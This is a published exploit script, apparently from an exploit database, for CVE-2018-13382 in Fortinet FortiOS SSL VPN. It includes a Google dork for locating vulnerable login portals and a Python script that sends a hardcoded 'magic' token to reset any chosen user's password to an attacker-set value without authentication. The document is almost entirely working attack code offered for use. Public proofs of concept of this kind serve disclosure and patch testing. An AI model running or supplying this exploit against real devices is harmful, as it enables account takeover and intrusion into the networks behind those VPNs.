Fortinet FortiOS 6.0.4 - Unauthenticated SSL VPN User Password Modification

# Exploit Title: Fortinet FortiOS 6.0.4 - Unauthenticated SSL VPN User Password Modification
# Google Dork: intitle:"Please Login" "Use FTM Push"
# Date: 15/11/2020
# Exploit Author: Ricardo Longatto
# Details: This exploit allow change users password from SSLVPN web portal
# Vendor Homepage: https://www.fortinet.com/
# Version: Exploit to Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.8 and 5.4.1 to 5.4.10.
# Tested on: 6.0.4
# NVD: https://nvd.nist.gov/vuln/detail/CVE-2018-13382
# CVE : CVE-2018-13382
# Credits: Vulnerability by Meh Chang and Orange Tsai.

#!/usr/bin/env python

import requests, urllib3, sys, re, argparse
urllib3.disable_warnings()

menu = argparse.ArgumentParser(description = "[+] Exploit FortiOS Magic backdoor - CVE-2018-13382 [+]")
menu.add_argument('-t', metavar='Target/Host IP', required=True)
menu.add_argument('-p', metavar='Port', required=True)
menu.add_argument('-u', metavar='User', required=True)
menu.add_argument('--setpass', metavar='SetNewPass', default='h4ck3d', help='set the password for user, if you not set, the default password will be set to h4ck3d')
op = menu.parse_args()

host = op.t
port = op.p
user = op.u
setpass = op.setpass

url = "https://"+host+":"+port+"/remote/logincheck"
exploit = {'ajax':'1','username':user,'magic':'4tinet2095866','credential':setpass}
r = requests.post(url, verify=False, data = exploit)

if re.search("/remote/hostcheck_install",r.text):
    print "[+] - The new password to ["+user+"] is "+setpass+" <<<< [+]"
else:
    print "Exploit Failed. :/"